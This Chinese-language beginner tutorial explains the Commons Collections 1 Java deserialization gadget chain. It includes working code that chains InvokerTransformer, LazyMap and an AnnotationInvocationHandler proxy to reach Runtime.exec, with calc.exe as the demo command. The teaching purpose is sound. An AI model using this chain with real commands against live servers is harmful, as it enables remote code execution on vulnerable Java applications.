发布时间:2026/7/28 18:31:39
0基础入门java安全(一)--CC1基础分析 0基础入门Java安全一-- CC1基础分析如果你刚接触Java安全可能会被“反序列化漏洞”、“链式调用”、“CC链”这些名词吓到。别慌今天我们就从零开始拆解Java安全中最经典的入门案例CC1链Commons Collections 1。我会用最通俗的语言结合具体代码带你一步步理解它的原理。—## 什么是CC1链CC1链的全称是Commons Collections 1它是一个利用Apache Commons Collections库中的反序列化漏洞实现的攻击链。简单来说攻击者通过构造恶意数据让服务器在反序列化时执行危险代码。打个比方你收到一个快递序列化数据打开箱子反序列化时里面突然弹出弹簧拳头恶意代码打中了你。CC1链就是帮攻击者设计这个“弹簧拳头”的组装说明书。—## 核心概念InvocationHandler与动态代理要理解CC1链必须先知道两个Java特性### 1.InvocationHandler是什么- 它是Java动态代理机制的一部分。- 当你调用一个接口的方法时InvocationHandler可以拦截这个调用执行自定义逻辑。### 2.Transformer接口在Commons Collections库中Transformer接口定义了transform()方法用于将一个对象转换成另一个对象。常见的实现类有-ConstantTransformer永远返回固定值。-InvokerTransformer通过反射调用指定方法。关键点InvokerTransformer可以调用任意对象的任意方法比如Runtime.getRuntime().exec(calc)来执行系统命令。—## 代码示例1手动构造恶意Transformer我们先写一个简单例子看看如何用InvokerTransformer执行命令。javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class SimpleTransformerDemo { public static void main(String[] args) throws Exception { // 1. 创建一个InvokerTransformer定义要调用的方法 // 参数说明方法名、参数类型数组、参数值数组 Transformer transformer new InvokerTransformer( exec, // 要调用的方法名 new Class[]{String.class}, // 参数类型 new Object[]{calc.exe} // 参数值弹出计算器 ); // 2. 获取Runtime对象注意Runtime类不能直接new要通过getRuntime() Runtime runtime Runtime.getRuntime(); // 3. 执行transform相当于调用 runtime.exec(calc.exe) Object result transformer.transform(runtime); // 如果运行在Windows上会弹出计算器 System.out.println(命令执行成功); }}运行结果如果你的环境有Apache Commons Collections库运行后会弹出计算器Windows或执行其它命令。原理InvokerTransformer通过反射机制调用Runtime.exec(calc.exe)。但注意这里需要手动传入Runtime对象在实际攻击中我们无法直接获得这个对象所以需要更巧妙的链式调用。—## 链式调用的关键LazyMap与ProxyCC1链的核心在于利用LazyMap和动态代理实现“自动触发”。让我们逐步拆解### 1. LazyMap的作用LazyMap是Commons Collections中的一个类它的get()方法有一个特殊行为如果Map中不存在某个key它会调用一个Transformer来生成value。javaimport org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class LazyMapDemo { public static void main(String[] args) { // 1. 构造一个Transformer链先返回Runtime对象再调用exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), // 返回Runtime.class对象 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), // 调用getMethod new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用invoke获得Runtime实例 new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 执行命令 }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 创建LazyMap传入Transformer链 LazyMap lazyMap (LazyMap) LazyMap.decorate(new HashMap(), chain); // 3. 当调用get()方法且key不存在时会触发transform lazyMap.get(anyKey); // 这会执行整个链最终弹出计算器 }}关键点ChainedTransformer将多个Transformer串起来前一个的输出作为后一个的输入。整个流程是1.ConstantTransformer返回Runtime.class对象。2.InvokerTransformer调用getMethod(getRuntime)获得getRuntime方法。3. 再调用invoke(null)获得Runtime实例。4. 最后调用exec(calc.exe)。—## 触发时机反序列化时自动调用现在的问题是如何让服务器在反序列化时自动调用lazyMap.get()答案是用动态代理。AnnotationInvocationHandler是Java自带的类它实现了InvocationHandler。当代理对象调用任何方法时它都会调用invoke()方法而invoke()内部会调用memberValues.get(member)—— 这正是我们需要的get()触发点。攻击链1. 用LazyMap包装恶意Transformer链。2. 用AnnotationInvocationHandler创建代理代理对象是Map接口。3. 把这个代理对象放到另一个AnnotationInvocationHandler的memberValues里。4. 序列化这个对象反序列化时触发链式调用。—## 代码示例2完整的CC1攻击链javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Exploit { public static void main(String[] args) throws Exception { // Step 1: 构建Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; ChainedTransformer chain new ChainedTransformer(transformers); // Step 2: 创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), chain); // Step 3: 获取AnnotationInvocationHandler的构造方法通过反射 Class? clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor? constructor clazz.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); // Step 4: 创建第一个handler代理lazyMap InvocationHandler handler (InvocationHandler) constructor.newInstance( Retention.class, lazyMap); // 创建动态代理对象代理Map接口 Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); // Step 5: 创建第二个handler把proxyMap作为memberValues InvocationHandler finalHandler (InvocationHandler) constructor.newInstance( Retention.class, proxyMap); // Step 6: 序列化实际攻击中把对象发送给服务器 // 这里我们直接触发反序列化 // 当反序列化执行时会调用finalHandler的readObject() // 最终触发lazyMap.get() - 执行命令 // 注意实际测试时可能需要反序列化触发这里简化演示 System.out.println(构造完成反序列化时将执行命令); }}注意这段代码在JDK 8u71之前有效之后AnnotationInvocationHandler的readObject逻辑修改不再触发。要测试的话请使用低版本JDK和Commons Collections 3.1。—## 总结CC1链的核心思想可以归纳为三步1.准备弹药用InvokerTransformer和ChainedTransformer构造任意方法调用链。2.设置陷阱用LazyMap包装这个链只要调用get()且key不存在就会触发。3.扣动扳机利用AnnotationInvocationHandler的动态代理在反序列化时自动调用get()。为什么能成功因为Java反序列化机制会调用readObject()而AnnotationInvocationHandler的readObject()内部会遍历memberValues触发代理对象的entrySet()等方法进而触发LazyMap.get()。学习建议- 先理解动态代理和反射机制。- 动手调试代码观察每一步的输入输出。- 从CC1开始逐步学习CC2、CC4、CC6等变种。记住安全漏洞的本质是“信任”的滥用。反序列化信任了序列化数据中的类型定义而攻击者利用这种信任把恶意代码伪装成普通数据。理解这一点你就掌握了Java安全的精髓。

相关新闻

2026/7/28 18:31:39

6岁患儿临床试验离世后:仇子龙Nature论文事件

一则国际顶刊调查报道,揭开一场罕见病个体化基因编辑人体试验的悲剧;紧随其后,学术博主公开质疑相关《Nature》论文数据存在异常。上海交通大学医学院仇子龙团队 CHD3 碱基编辑研究事件,同时牵动人体临床试验伦理监管、学术论文数…

2026/7/28 18:26:39

PHP:使用回调函数处理数组的函数

使用回调函数处理数组的函数: 1.array_filter(); 过滤数组中的值.** <?php $arrarray(0,linux,123,hello,false,array(),0);$arr2array_filter($arr);echo <pre>; print_r($arr2); echo </pre>;?>结果是 Array ([1] > linux[2] > 123[3] > hello…

2026/7/28 19:21:50

5分钟掌握FunClip:开源免费的AI智能视频剪辑终极方案

5分钟掌握FunClip&#xff1a;开源免费的AI智能视频剪辑终极方案 【免费下载链接】FunClip FunASR-powered video transcription, subtitle generation, and LLM-assisted clipping tool with a local Gradio UI. 项目地址: https://gitcode.com/GitHub_Trending/fu/FunClip …

2026/7/28 19:21:50

Chart.js折线图开发指南:从入门到企业级应用

1. Chart.js折线图核心价值解析Chart.js作为当前最流行的开源可视化库之一&#xff0c;其折线图功能在数据监控、业务报表等场景中扮演着关键角色。我曾在多个企业级数据分析项目中深度使用这个工具&#xff0c;发现它最突出的优势在于&#xff1a;用极简的配置实现专业级图表效…

2026/7/28 19:21:50

港口物流-能源协同优化:Matlab实现与工程实践

1. 项目背景与核心价值海港作为全球贸易的关键节点&#xff0c;其能源系统正面临从传统化石能源向综合能源转型的挑战。我们团队在复现这篇顶级EI论文时发现&#xff0c;作者提出的物流-能量协同优化方法&#xff0c;本质上解决了三个行业痛点&#xff1a;港口设备&#xff08;…

2026/7/28 19:21:50

从过热到冷静:我的Dell G15散热控制之旅与开源解决方案

从过热到冷静&#xff1a;我的Dell G15散热控制之旅与开源解决方案 【免费下载链接】tcc-g15 Thermal Control Center for Dell G15 - open source alternative to AWCC 项目地址: https://gitcode.com/gh_mirrors/tc/tcc-g15 当我的Dell G15在运行大型游戏时温度飙升到…

2026/7/28 19:21:50

小米MiMo大模型API调用全流程与实战技巧

1. 小米MiMo大模型API调用全流程解析作为国内首个对标OpenAI Codex的大规模预训练模型&#xff0c;小米MiMo自2025年发布以来就备受开发者关注。最近在V2EX社区看到不少关于API调用的讨论&#xff0c;发现很多新手在接入过程中会遇到各种报错&#xff08;比如400错误、模型名称…

2026/7/28 19:16:50

180、降噪技术全栈:空间降噪、时域降噪与多帧降噪的融合策略

180、降噪技术全栈:空间降噪、时域降噪与多帧降噪的融合策略 一个让我失眠三天的调试问题 去年做某旗舰机型的夜景模式,客户反馈在极暗光场景(0.5 lux以下)拍出来的照片,天空区域全是“油画感”——噪点被磨平了,但细节也糊成一团。更诡异的是,同一场景下,如果画面中有…

2026/7/28 13:41:25

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

一、背景与测试方案 在实际项目交付中&#xff0c;PDF文件合并与版权保护水印的叠加是一个高频但容易被低估的技术需求。典型的处理链路涉及&#xff1a;多源PDF的文件流合并、页面级水印渲染&#xff08;含透明度混合与图层叠加&#xff09;、输出文件体积控制。看似简单的操作…

2026/7/28 0:03:34

学术论文研究创新点梳理与核心价值提炼指南

本科毕业论文是大学四年最大的坎。开题报告憋一周写不出三页&#xff0c;找文献翻遍十几个网站还是缺关键资料&#xff0c;写正文卡壳半天憋不出一句话&#xff0c;降重改到凌晨三点结果逻辑全乱&#xff0c;答辩前一天PPT还没做完。别慌&#xff0c;亲测这四个工具能让你少熬半…

2026/7/28 0:03:34

开发商售楼处数字化升级怎么做?

房企的数字化转型投入正在快速增长&#xff0c;据行业数据显示&#xff0c;2025年房企数字化投入规模已突破800亿元&#xff0c;年复合增长率达35%。售楼处的数字化升级不是单一环节的改造&#xff0c;而是从“获客-展示-成交-服务”全链路的系统升级。数字化升级四步法第一步&…

2026/7/28 0:03:34

模型不再值钱之后,AI 编程工具在争什么

2026 年 7 月&#xff0c;AI 编程工具赛道发生了一个标志性转折&#xff1a;模型本身不再值钱了。当 Kimi K3 开源模型在编程基准上击败 GPT 和 Claude&#xff0c;当 GitHub Copilot 第一次把开源模型纳入选择器&#xff0c;当 OpenAI 把 Codex 并入 ChatGPT 做成三合一超级应…

2026/7/28 4:38:09

3个高效策略:快速掌握Axure中文界面配置

3个高效策略&#xff1a;快速掌握Axure中文界面配置 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包。支持 Axure 11、10、9。不定期更新。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 还在为Axure RP的英文界面感…